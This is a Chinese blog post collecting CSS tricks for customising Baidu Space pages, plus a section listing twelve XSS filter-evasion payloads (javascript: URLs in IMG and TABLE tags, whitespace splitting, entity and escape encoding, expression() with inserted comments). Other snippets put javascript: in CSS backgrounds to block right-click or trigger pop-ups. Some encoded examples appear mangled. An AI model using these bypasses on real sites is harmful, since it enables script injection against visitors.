设为首页
收藏本站
本站论坛
   
3
3
   
  文章列表      

百度空间CSS代码精选


#header             标题栏的ID,就是挂着空间名字的栏目 

#tab                  导航兰的ID,就是写着主页 | 博客 | 相册....的栏目

#comm_info       其他模版的ID,就是有访问量显示和RSS的栏目

#m_blog            文章列表模版的ID

#m_pro              个人档案模版的ID

#m_album          照片自动播放模块的ID,一般这个不需要设置,因为设置了背景看不到,前面有照片显示

#m_links            友情链接模版的ID

#m_artclg           文章分类模版的ID

#m_comment     最新评论模版的ID

#m_filed             文章存档的ID    


———————————定式性的代码————————————


display:none 全能隐藏代码

背景{}中添加background: url(图片地址)repeat
注:
repeat            背景图像在纵向和横向上平铺
no-repeat       背景图像不平铺
repeat-x         背景图像在横向上平铺
repeat-y         背景图像在纵向平铺

background-color:#颜色代码

超链接自定义设置超链接的属性就是在相关栏目名称后面+上a{}的属性

color:#颜色代码或颜色英文名称   定义超链接字体的颜色
font-family:字体名称         定义超链接字体
font-size:大小px           定义超链接字体大小
text-decoration : 参数       定义超链接的文本装饰,参数:none || underline || blink || overline || line-through
        none :  无装饰
        blink :  闪烁
        underline :  下划线
        line-through :  贯穿线
        overline :  上划线 

其实超链接属性设置
a:hover{}       当鼠标移动到超链接上时显示的属性
a:link{}       超链接未被访问前显示的属性
a:visited{}     已经被访问过的超链接的属性
a:active{}     超链接被点击的时候显示的属性(在鼠标点击与释放之间发生的事件)

.modbl{}
.modbc{}
.modbr{}
这三个就是分别设置模版左下角,底边中央,右下角的代码:
.modbl{}中的border-left:是设置左下角左边框的属性的,border-bottom是设置左下角底边的边框属性的
.modbc{}中的border-bottom:是设置边框当中一段底边属性的
.modbr{}中的border-right:是设置右下角右边框的属性的,border-bottom是设置右下角底边的边框属性的

解决回车换两行的问题
Shift+回车

个性标题
#header div.tit{top:5px;left:20px;line-height:60px;font-size:60px;font-family:隶书}
#header div.tit a.titlink{color:#813533;text-decoration:none}
#header div.tit a.titlink:visited{color:#813533;text-decoration:none}
#header div.tit a.titlink:hover{color:#FFFFFF;text-decoration:none}
#header div.desc{top:27px;left:320px;color:#813533;font-size:16px}
说明:
#header div.tit{}               这是标题的设置
#header div.tit a.titlink{}         这是标题超链接的设置
#header div.tit a.titlink:visited{}   这是标题超链接已经被访问过的设置
#header div.tit a.titlink:hover{}     这是当鼠标移动到标题超链接上时显示的属性
#header div.desc{}               这是空间标题后面的简介的内容设置
属性和详细参数
top:5px           距离模版顶部的间隔距离为5px
left:20px           距离模版左边的间隔距离为20px
line-height:60px     设置总高度为60px
font-size:60px       设置字体大小为60px,这个不能设置的比的line-height大,不然标题字体的一部分会被遮掉的
font-family:隶书     设置字体的型号
color:#813533       设置字体的颜色代码为#813533,这里也可以写颜色的英文名,比如black,white,red,green等
text-decoration:none   字体的划线修饰属性,none为无下划线,关于text-decoration的具体参数可以查看我前面写的关于定义超链接的文章

更多文章 放到右面
#m_blog div.more{margin:14px 0 16px 0;text-align:right}

1.在友情链接添加“发送消息”的链接:
在友情链接里的链接地址内填上:http://msg.baidu.com/ms?ct=21&cm=1&tn=bmSendMessage&un=你的百度用户名
这样人家一点该链接就可以马上给你发送消息了,而这个链接另一个功能就是可以给自己发送消息,嘿嘿,由于自己浏览自己空间的时候,是没有发送消息的链接的,所以应该没有多少人试过给自己发送消息吧?但是我用这个链接来试过。。。而且收到了,很有意思。。。
2.在友情链接添加“加为好友”的链接:javascript:document.addfriend.submit()

—————————CSS系列—————————————

/*发表评论中的背景*/
#spBlogCmtor{background:url(图片地址)}   /* 这是 姓名 中的*/
#spBlogCmtURL{background:url(图片地址) /* 这是 网址或邮箱 中的*/
background-attachment: fixed;
background-position: center center;
background-repeat: no-repeat;
}
#spBlogCmtText{background:url(图片地址)   /* 这是 内容中 的*/
background-attachment: fixed;
background-position: center center;
background-repeat: no-repeat;
}

/*改变你的按钮和输入栏的颜色及字体*/
input,select,textarea{color:green;font-size:14px;font-family:Tahoma,黑体;border:1px solid green;background-color:black} 
textarea{overflow:hidden} 

解释一下:color:green       表示字体颜色。 
font-size:14px         表示字体大小。 
font-family:Georgia,黑体     表示英文字体和中文字体 
border:1px           表示边框的粗细。 
solid green           表示边框的颜色。 
background-color:black     表示背景色。

/*最顶部加字方法!*/
#tabline{margin-top:-490px;right:0px;line-height:8px; background:url(图片地址) no-repeat bottom; padding-bottom: 40px; margin-bottom: 10px}
图片上面打上你要的字~

/*文章虚线边框*/
#m_blog div.cnt{color:#333333;line-height:20px;font-size:14px;border:1px dashed #090688;background:#Ffffff;PADDING: 10px;}
/
#m_blog div.cnt{color:#808080;line-height:20px;font-size:16px;border-top:2px dashed #1DC01D;border-bottom:2px dashed #1DC01D;border-left:2px dashed #1DC01D;border-right:2px dashed #1DC01D;PADDING-RIGHT: 10px; PADDING-LEFT: 10px;PADDING-TOP: 10px;PADDING-bottom: 10px;}

dotted: 点线
dashed :  虚线 
double :  双线边框 
groove :  3D凹槽 
ridge :  菱形边框 
inset :  3D凹边 
outset :  3D凸边

/*留言板图片*/
#spBlogCmtText {border: 1px solid #A6B5C4;background:url(http://***.jpg) no-repeat top center;background-attachment: fixed;}

/*播放器*/
#phx{FILTER: Alpha(Opacity=100, FinishOpacity=60, Style=2, StartX=20, StartY=40, FinishX=0, FinishY=0)Invert(); WIDTH: 224px;HEIGHT:200px}
Invert();   滤镜效果 可以换成别的


/*不显示播放器,但不影响音乐的播放*/
添加#mod_bgmusic{display:none} 

/*日志背景*/
#m_blog.modbox{background:url(这里填上你选的背景图片连接地址)}
或#m_blog div.cnt{background:url(填入你选择的图片地址连接) repeat; /*背景图片*/color:#666666;line-height:20px;font-size:14px}

/*滚动条*/
{overflow-y:auto;height:200px}

{scrollbar-face-color: #E100E1; 
scrollbar-shadow-color: maroon; 
scrollbar-highlight-color: white; 
scrollbar-3dlight-color: #E100E1; 
scrollbar-darkshadow-color:#E100E1; 
scrollbar-arrow-color:#E100E1; 
scrollbar-base-color: #E100E1; 
scrollbar-track-color: #E100E1; 
overflow-y:auto;height:458px; 
filter: chroma(color=#E100E1);}

scrollbar-3d-light-color 设置或检索滚动条亮边框颜色 
scrollbar-highlight-color 设置或检索滚动条3D界面的亮边(ThreedHighlight)颜色 
scrollbar-face-color 设置或检索滚动条3D表面(ThreedFace)的颜色 
scrollbar-arrow-color 设置或检索滚动条方向箭头的颜色 
scrollbar-shadow-color 设置或检索滚动条3D界面的暗边(ThreedShadow)颜色 
scrollbar-dark-shadow-color 设置或检索滚动条暗边框(ThreedDarkShadow)颜色 
scrollbar-base-color 设置或检索滚动条基准颜色

/*鼠标触碰 按钮下陷*/
a:hover{}中加入 position:relative; left:2px; top:1px; clip:rect( );

/*禁止选择 鼠标右键特效*/(以失效)
#main{ 
background:url('javascript: 
document.oncontextmenu=new Function("event.returnValue=false;");
document.onselectstart=new Function("event.returnValue=false;");
')}
即可
document.oncontextmenu=new Function("event.returnValue=false;");禁止鼠标右键
document.onselectstart=new Function("event.returnValue=false;");
禁止选择

/*探出窗口*/
#comm_info 和#comm_info a 替换#comm_info a{color:#D77B18 border: 1px solid #000000; padding: 10px; background-image: url('javascript:alert("你要说的话");')}

#comm_info{}或#m_links div.item{}
添加
background:url(javascript:alert(你要说的内容))

/*鼠标样式*/
平常状态 body{}中加入CURSOR: url('http://***.ani');
链接状态 a:hover{}中加入CURSOR: url('http://***.ani');

/*文章在新窗口中打开*/
a:active { text: (target="_blank");}

/*屏蔽Rss链接,baidu图片*/
#comm_info a {display:none;}

/*大背景*/
body{}中加入background:url(http://***.gif) repeat-x #FFFFFF

/*标题背景*/
#header div.lc{}   -左
#header div.rc{}   -右
插入 background:url(http://***)

/*百度空间 进入后弹出对话框*/
去掉#comm_info div.line 把#comm_info a换成
#comm_info a{color:#D77B18 border: 1px solid #000000; padding: 10px; background-image: url('javascript:alert("你要说的话");')}

/*文章日期旁加小图案*/
#m_blog div.date
{text-indent:1.5cm;background:url(这里要填上你自己选的小图片的连接地址) 30% 0% no-repeat; /*背景图片*/margin:5px 0 8px 0;color:#999999;
line-height:50px; /*调整行高*/}

/*常用插入时间图片位置的代码*/
图片显示位置——个人档案照片下面: 
#m_pro div.act{margin-top:5px; background:url(http://escati.linkopp.net/cgi-bin/date.cgi?trgb=red&srgb=red&prgb=red&timezone=GMT-0500) no-repeat bottom; padding-bottom: 22px; margin-bottom: 6px; } 

图片显示位置——文章列表 标题下面: 
#m_blog div.tit{font-size:14px;font-weight:bold; background:url(http://escati.linkopp.net/cgi-bin/date.cgi?trgb=red&srgb=red&prgb=red&timezone=GMT-0500) no-repeat bottom; padding-bottom: 22px; margin-bottom: 6px; } 

图片显示位置——文章列表 标题左面: 
#m_blog div.tit{font-size:14px;font-weight:bold; line-height:24px; text-indent:120px; background:url(http://escati.linkopp.net/cgi-bin/date.cgi?trgb=red&srgb=red&prgb=red&timezone=GMT-0500) no-repeat; } 

图片显示位置——文章列表 标题栏: 
#tabline{top:89px; background:url(http://escati.linkopp.net/cgi-bin/date.cgi?trgb=red&srgb=red&prgb=red&timezone=GMT-0500) no-repeat bottom; padding-bottom: 32px; margin-bottom: 6px; } 

图片显示位置——相册下面: 
#m_album div.image{text-align:center; background:url(http://escati.linkopp.net/cgi-bin/date.cgi?trgb=red&srgb=red&prgb=red&timezone=GMT-0500) no-repeat bottom; padding-bottom: 45px; margin-bottom: 1px; } 

图片显示位置——每个友情链接下面: 
#m_links div.line{margin-top:5px;line-height:8px;border-top:1px solid #F4C1B5; background:url(http://escati.linkopp.net/cgi-bin/date.cgi?trgb=red&srgb=red&prgb=red&timezone=GMT-0500) no-repeat bottom; padding-bottom: 16px; margin-bottom: 10px; } 

图片显示位置——每个最新评论下面: 
#m_comment div.item{color:#000000;font-size:12px; background:url(http://escati.linkopp.net/cgi-bin/date.cgi?trgb=red&srgb=red&prgb=red&timezone=GMT-0500) no-repeat bottom; padding-bottom: 22px; margin-bottom: 6px; } 

图片显示位置——每个文章分类下面: 
#m_artclg div.line{margin-top:5px;line-height:8px;border-top:1px solid #F4C1B5; background:url(http://escati.linkopp.net/cgi-bin/date.cgi?trgb=red&srgb=red&prgb=red&timezone=GMT-0500) no-repeat bottom; padding-bottom: 16px; margin-bottom: 10px; } 

图片显示位置——其他区域: 
#comm_info div.line{margin-top:5px;line-height:8px;border-top:1px solid #BBC1C6; background:url(http://escati.linkopp.net/cgi-bin/date.cgi?trgb=red&srgb=red&prgb=red&timezone=GMT-0500) no-repeat bottom; padding-bottom: 22px; margin-bottom: 6px; } 

/*分割线*/
{margin-top:17px;line-height:12px;background:url(http://***.gif) repeat-x}  
如想要分割线图片请到我的网易相册——分割线相册 ,相册密码为520520。

/*<其它>模块中只显示访问人数*/
#comm_info a {display:none}

/*发光效果*/ 
{}中加入filter:glow (color= #299BE8,strength=2);

/*阴影效果字体阴影*/
{}中加入filter:DropShadow(Color=#000000, OffX=3, OffY=3, Positive=true);
参数的作用:
Color=这里是阴影的颜色代码,我这里用的是黑色
OffX=这里设置阴影与对象(文字或图片)的横向距离偏移
OffY=这里设置阴影与对象的竖向距离偏移
Positive=这里是设置建立阴影的对象,true就是为非透明像素建立阴影,false就是为透明的像素建立阴影,一般不建议使用false,至于原因,你们可以自己设置false,然后预览看看效果,就知道为什么了,当然,如果你喜欢这样的效果,那也是个性使然,个人审美观不同,呵呵

另外,如果大家要添加阴影的地方已经有了filter的参数,例如设置透明度的filter:alpha(),那么只要把DropShadow(Color=#000000, OffX=3, OffY=3, Positive=true)添加到alpha()的后面就可以了,这里不需要间隔,当中留空格可以,但是千万不要自作聪明的去用";"来间隔,一旦间隔了就无效了
例如在原来的filter:alpha(opacity=50);后面加上阴影效果代码:
filter:alpha(opacity=50)DropShadow(Color=#000000, OffX=3, OffY=3, Positive=true);

建议阴影不要用的太多,而且小字体的阴影很难搭配颜色,所以要慎重使用,不然反而适得其反

/*投影的代码*/
filter:Shadow(Color=gray/*颜色*/,Direction=135/*方向*/)

/*文章标题背景*/
#m_blog div.tit{text-indent:1.5cm/*缩近*/;line-height:75px;/*增大行高,使背景图片完全显示*/font-size:16px;font-weight:bold;background:url(http://***.gif) no-repeat;/*标题背景图片,不重复*/}
line-height:多少px;     设置标题的高度,其实这里的设置为图片的高度就可以了
text-indent:多少px;     设置标题的文本前面空多少宽度,这里可以填图片的宽度,为了美观起见,可以再多+5、6px,因为图片和标题贴着不好看,这个主要还是看个人感觉和喜好设置了

/*空间透明*/
.modbox,.modbl,.modbc,.modbr{filter:alpha(opacity=80);-moz-opacity:0.8;width:auto !important;width:100%}

/*添加自己的LOGO图片*/
#comm_info div.line{margin-top:4px;line-height:8px;border-top:2px solid #ff3333;   background:url(http://***.gif) no-repeat bottom; padding-bottom: 32px; margin-bottom: 32px} 

/*添加LOGO*/
#m_pro div.image{}加入background:url(http://***.jpg) no-repeat bottom;padding-bottom:100px
      bottom让         图片沉底
      padding-bottom     增加头像模块底下的宽度,这样,我们的LOGO就可以再往下移了,直到不被我们的头像挡住就可以了,
关键就是 padding-bottom     后面的数值大小了,一般设置为LOGO的高度值正好,LOGO的上边正好贴紧了头像的下边,如果觉得贴紧了不好看,就稍微再加大一点padding-bottom的值,留点缝缝

/*给评论框加背景图片*/
#spBlogCmtText {border: 8px solid #1AE61A ; 
background:url(图片地址) no-repeat top center; 
background-attachment: fixed;}

/*如何设定+固定百度空间的背景*/
在body{}中加入
background-image:url(图片地址) ;       定义背景图片
background-repeat: no-repeat;         定义背景图片不重复
background-position: center;         定义背景居中
background-attachment: fixed;         定义背景固定,不滚动,这个就是关键参数fixed

好啦,背景定义好了,预览看一下,却发现基本看不到背景,为什么?因为百度空间的样式中还有别的背景,比如标题栏上的背景图片等

所以我们要把标题栏他们的背景给去掉
在header{}中加入
background:transparent           这个参数的作用是使完全背景透明(关于半透明的设置请看后面的教程)
并把其中原来的属性background:url(……)的设置删除掉

接着到#header div.rc{}以及.stage{}中做与header{}同样的设置,即可达到效果了,再看看,是不是能够看到设定的背景了

如果觉得其他模块的背景也很碍眼的话,只要照着上面的方法设置了即可了,不过有的是设置背景色的,那么只要把background-color:……;删掉然后再+上background:transparent就可以了

这里加一句,有很多朋友的菜单栏是带背景色的,也就是主页|博客|相册这一栏有背景色,有的人想变透明不知道在哪里,我这里提示一下,就是#tab{}中,只要把里面的background-color的相关属性删除掉就可以了

/*右下角弹出窗口*/
#main{ 
background:url('javascript: 
var sunPop = window.createPopup(); 
var popTop=50; 
function popmsg(msgstr){ 
var winstr="<table style=\"border:solid #A96D13 1px\" width=\"200\" height=\"150\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" bgcolor=\"#88CFFF\" >"; 
winstr+="<tr><td height=\"30\"> </td></tr><tr><td align=\"center\"><table width=\"90%\" height=\"110\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\">"; 
winstr+="<tr><td valign=\"top\" style=\"font-size:12px; color:#209C20; face:黑体\">"+msgstr+"</td></tr></table></td></tr></table>"; 
sunPop.document.body.innerHTML=winstr; 
popshow(); 
      } 
function popshow(){ 
window.status=popTop; 
if(popTop>1720){ 
clearTimeout(mytime); 
sunPop.hide(); 
return; 
}else if(popTop>1520&&popTop<1720){ 
sunPop.show(screen.width-250,screen.height,200,1720-popTop); 
}else if(popTop>1500&&popTop<1520){ 
sunPop.show(screen.width-250,screen.height+(popTop-1720),200,150); 
}else if(popTop<180){ 
sunPop.show(screen.width-250,screen.height,200,popTop); 
}else if(popTop<220){ 
sunPop.show(screen.width-250,screen.height-popTop,200,150); 

popTop+=10; 
var mytime=setTimeout("popshow();",50); 

popmsg("2006年9月<br>你好,亲爱得朋友。<br>你要说的话。<br>你要说的话~");
') 

—————————————技巧系列———————————————
转贴出处点击南开一、空间模块巧移动: 

改变空间主页各模块的排布位置可以在空间中依次点击:设置-高级设置-自定义模板-开始自定义 

然后鼠标拖动各个栏目的标题处,移动到你想要的位置,松手即可。 

但是如果你曾经把一个模块拖动到“文章列表”下面,而后来发表了许多文章,想把下面的那个模块拖回来是就会发现,无法移动到上面。 

其实有个简单的方法: 
先到下面鼠标左键按住想要拖动的模块的标题栏,接着按键盘上的“Pg Up”(上页)键,就会发现页面向上翻了,而模块还在鼠标指针上。 
按几次达到想要的位置后,松开鼠标左键,该模块就会移到你想要的地方去了^_^ 

二、文章快速插链接: 

我们在文章中经常会遇到插入超链接的情况,直接贴网址虽然也可以自动转换为超链接,但是我觉得就影响了文章的美观。 
所以我比较喜欢用文字链接,但是每次都用鼠标点上面的设置链接按钮也未免太慢了…… 

用过微软FRONT PAGE的朋友应该知道,该软件插入超链接是有快捷键的,我在空间里测试里一下,的确可以用! 

所以写日志时想给文字加超链接,先将链接指向的网址复制一下,然后选中想要加的文字,最后按快捷键“CTRL+K”——在弹出的提示框中粘贴刚复制的地址,确定即可。

———————————HTML系列————————————

HTML提交:
javascript:if(navigator.userAgent.indexOf('MSIE')>0){void(document.form1.spBlogText.value=frames['rte1'].document.body.innerText);void(document.form1.rte1.value='');document.form1.submit()};
提交地址 添加到收藏夹做按钮即可

/*JS窗口*/
<TD BACKGROUND="javascript:alert('00000000')">   或   <TABLE><TD BACKGROUND="javascript:alert('00000000')">

/*公告牌*/
<table cellspacing="0" cellpadding="0" align="center" border="0">
<tbody>
  <tr>
    <td colspan="3"><img src="  </tr>
  <tr>
    <td><img src="    <td valign="top"width="288" bgcolor="white"><div align="center"><span style="font-size:20px; font-weight:bold; letter-spacing:10px">公告</span></div>
    <div style="text-indent:24px; letter-spacing:2px; line-height:16px; padding-top:10px">内容</div>
  </td>
    <td><img src="  </tr>
  <tr>
    <td colspan="3"><img src="  </tr>
</tbody>
</table>

———————————百度空间发表带脚本文章的12招———————————

百度空间的发文模块过滤了很多HTML标签,目的就是防止脚本执行。但就目前的情况来看,百度的工作做得还远远不够。下面我举些避开百度过滤的例子。

首先是Monyer的办法,利用IMG标签SRC属性嵌入脚本。这种办法公开已经有几天时间了,目前还没有被封:
(1) <IMG SRC="javascript:alert('XSS');">

如果你是vbs爱好者,也可以这样用:
(2) <IMG SRC='vbscript:msgbox("XSS")'>

如果百度过滤了SRC里面的"javascript","vbscript",可以尝试在关键字中间嵌入white space字符逃避过滤:
(3) <IMG SRC="jav ascript:alert('XSS');" >
(4) <IMG SRC="jav ascript:alert('XSS');" >
(5) <IMG SRC="jav ascript:alert('XSS');" >

如果百度再把white space字符都过滤的话,可以用多种形式的转义编码来逃避过滤:
(6) <IMG SRC=javascript:alert('XSS')>
(7) <IMG SRC=javascript:alert('XSS')>
(8) <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

除了IMG可以利用,TABLE和TD标签也可以用来嵌入脚本:
(9) <TABLE BACKGROUND="javascript:alert('XSS')">
(10) <TABLE><TD BACKGROUND="javascript:alert('XSS')">

百度已经过滤了STYLE属性里面的"javascript"等关键字,但编码后可以逃避过滤:
(11) <DIV STYLE="background-image:\0075\0072\006C\0028\006A\0061\0076\0061\0073\0063\0072\0069\0070\0074\003A\0061\006C\0065\0072\0074\0028\0027\0058\0053\0053\0027\0029\0029">

在关键字中间嵌入注释字串,可以逃避过滤:
(12) <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">

  目前,上面列出的12个例子都可以做到脚本执行(至少保证在IE6下没问题)。借助百度发帖助手,我们很容易在文章中嵌入这样的HTML标签。当然这只是一些思路,或者入手点,12个例子之间有些是可以彼此配合使用的,通过组合搭配,我们可以得到几十种甚至更多嵌入脚本的方法。
  防止脚本注入历来都是件困难的事情,而对于当前的百度空间来说,脚本注入就意味着XSS攻击,又不得不防。愿本文也能够为百度空间的工程师们提供些参考,完善这个blog系统。

—————————————CSS注释————————————————

打开CSS表: 
在空间页面上依次点击:设置——高级设置——自定义CSS 

代码解释: 
1、关于文字或背景的颜色的16进制代码形式如:#530C0E 
可以到如下网页直观查看颜色代码: 
http://shirley329.blogchina.com/3501281.html 
也可以用颜色的相应英文单词替换,如:Black Fuchsia Gray Gree Lime Maroon Navy Olive Purple 

Red Silver Teal White Yellow Blue Aqua 

2、相关元素“位置”为“center,left,right”,可直接相互替换; 

3、文字等元素的大小格式为“13px”数字越大字号或元素就越大,反之则越小; 

4、图片地址可直接用可以引用的地址替换,建议将图片传到空间相册后再引用。 

5、代码详细注释: 

body{background-color:#530C0E} 
——背景颜色 

#header{height:89px;background:url() no-repeat} 
#header div.rc{background:url() repeat-x} 
——页面上方“主页博客|相册……”栏背景图片 
#tab a.on,#tab a.on:link,#tab a.on:visited{margin-top:3px;line-height:19px;background- 

color:#BC0304;color:#FFFFFF;font-size:14px} 
——页面上方“主页”栏大小颜色+背景 
#tab span{color:#FFFFFF;font-size:14px} 
#tab a:link{color:#FFFFFF;text-decoration:none;font-size:14px} 
——页面上方“博客|相册……”栏链接颜色,未被点击 
#tab a:visited{color:#FFFFFF;text-decoration:none;font-size:14px} 
——页面上方“博客|相册……”栏链接颜色,已被点击 
#tab2{background:#DAE9F5} 
#tab2 span{color:#000000;font-size:12px;font-weight:bold} 
#tab2 a{font-size:12px} 
#tab2 a:link{color:#0000CC} 
#tab2 a:visited{color:#0000CC} 

.stage{background:url() no-repeat top left;line- 

height:1px} 
——每个栏目右上角远郊边沿图片 
.modbl{background-color:#FFF6E7;border-left:1px solid #FFF6E7;border-bottom:1px solid 

#FFF6E7;line-height:1px} 
——每个栏目左下角点的设置 
.modbc{background-color:#FFF6E7;border-bottom:1px solid #FFF6E7;line-height:1px} 
——每个栏目最下端一条的设置 
.modbr{background-color:#FFF6E7;border-right:1px solid #FFF6E7;border-bottom:1px solid 

#FFF6E7;line-height:1px} 
——每个栏目右下角点的设置 

#m_blog div.tit{font-size:14px;font-weight:bold} 
#m_blog div.tit a{color:#000000;font-size:14px;font-weight:bold} 
——日志标题大小颜色,未被点击 
#m_blog div.tit a:visited{color:#000000} 
——日志标题大小颜色,已被点击 
#m_blog div.date{margin:5px 0 8px 0;color:#666666} 
——日志日期文字大小颜色 
#m_blog div.cnt{color:#000000;line-height:20px;font-size:14px} 
——日志内容大小颜色 
#m_blog div.more{margin:14px 0 16px 0} 
#m_blog div.more a{color:#D77B18;font-size:14px} 
——日志“阅读全文>>”的大小颜色,未被点击 
#m_blog div.more a:visited{color:#D77B18} 
——日志“阅读全文>>”的大小颜色,已被点击 
#m_blog div.opt{color:#666666;font-size:12px} 
——“类别:技术专区 | 编辑……”中的“|”的颜色大小 
#m_blog div.opt a{color:#D77B18;font-size:12px} 
——“类别:技术专区”的大小颜色 
#m_blog div.opt a:visited{color:#D77B18} 
——“编辑 删除 评论(4) 浏览(21)”的大小颜色 
#m_blog div.line{margin-top:17px;line-height:17px;border-top:1px solid #F4C1B5} 
——日之间的分割线的相关设置 
#m_blog div.none{padding:100px 0 100px 0;color:#000000;font-size:14px} 
——隐形设置,不需要改变 

#m_pro a{color:#D77B18} 
——个人档案中“查看详细信息”的颜色,未被点击 
#m_pro a:visited{color:#D77B18} 
——个人档案中“查看详细信息”的颜色,已被点击 
#m_pro div.image{text-align:center} 
——个人档案中照片的显示位置,分为“中,左,右——center,left,right” 
#m_pro div.act{margin-top:10px} 
——个人介绍和照片的间距 
#m_pro div.user{margin-top:10px;color:#000000;font-size:12px;font-weight:bold} 
——个人用户名的大小颜色 
#m_pro div.desc{color:#000000;font-size:12px} 
——个人介绍的大小颜色 
#m_pro div.line{margin-top:17px;line-height:17px;border-top:1px solid #F4C1B5} 
#m_pro td{color:#000000;line-height:24px;font-size:14px} 

#m_album div.image{text-align:center} 
——相册中照片的显示位置,分为“中,左,右——center,left,right” 
#m_album div.page{color:#666666;font-size:12px;text-align:center} 
#m_album div.page a{color:#0000CC;font-size:12px} 
#m_album div.page a:visited{color:#0000CC} 

#m_links div.item{color:#000000;font-size:12px} 
——友情链接的连接描述的大小颜色 
#m_links div.item a{color:#D77B18;font-size:12px;text-decoration:none} 
——友情链接名的大小颜色,未被点击 
#m_links div.item a:visited{color:#D77B18} 
——友情链接名的大小颜色,已被点击 
#m_links div.line{margin-top:5px;line-height:8px;border-top:1px solid #F4C1B5} 
——友情链接见的分隔符的相关设置 

#m_artclg div.item{color:#666666;font-size:12px} 
——文章分类中各分类后面主题数及括号的大小颜色 
#m_artclg div.item a{color:#D77B18;font-size:12px} 
——文章分类中各分类的大小颜色,未被点击 
#m_artclg div.item a:visited{color:#D77B18} 
——文章分类中各分类的大小颜色,已被点击 
#m_artclg div.line{margin-top:5px;line-height:8px;border-top:1px solid #F4C1B5} 
——文章分类中各分类之间的分割线的相关设置 

#m_comment div.item{color:#000000;font-size:12px} 
#m_comment div.item a{color:#D77B18;font-size:12px} 
——最新评论中用户名的大小颜色,未被点击 
#m_comment div.item a:visited{color:#D77B18} 
——最新评论中用户名的大小颜色,已被点击 
#m_comment div.item a.cnt{color:#000000;font-size:12px;text-decoration:none} 
——最新评论中评论文字的大小颜色,未被点击 
#m_comment div.item a.cnt:visited{color:#000000;text-decoration:none} 
——最新评论中评论文字的大小颜色,已被点击 
#m_comment div.item a.cnt:hover{color:#000000;text-decoration:underline} 
————最新评论中评论文字当鼠标移上去时的颜色 
#m_comment div.line{margin-top:5px;line-height:8px;border-top:1px solid #F4C1B5} 


 
 
   
 
网上赚钱申请指南
 

友情链接
个人主页
 
 
 
 

wel come to . 欢迎光临
宇宙浪仔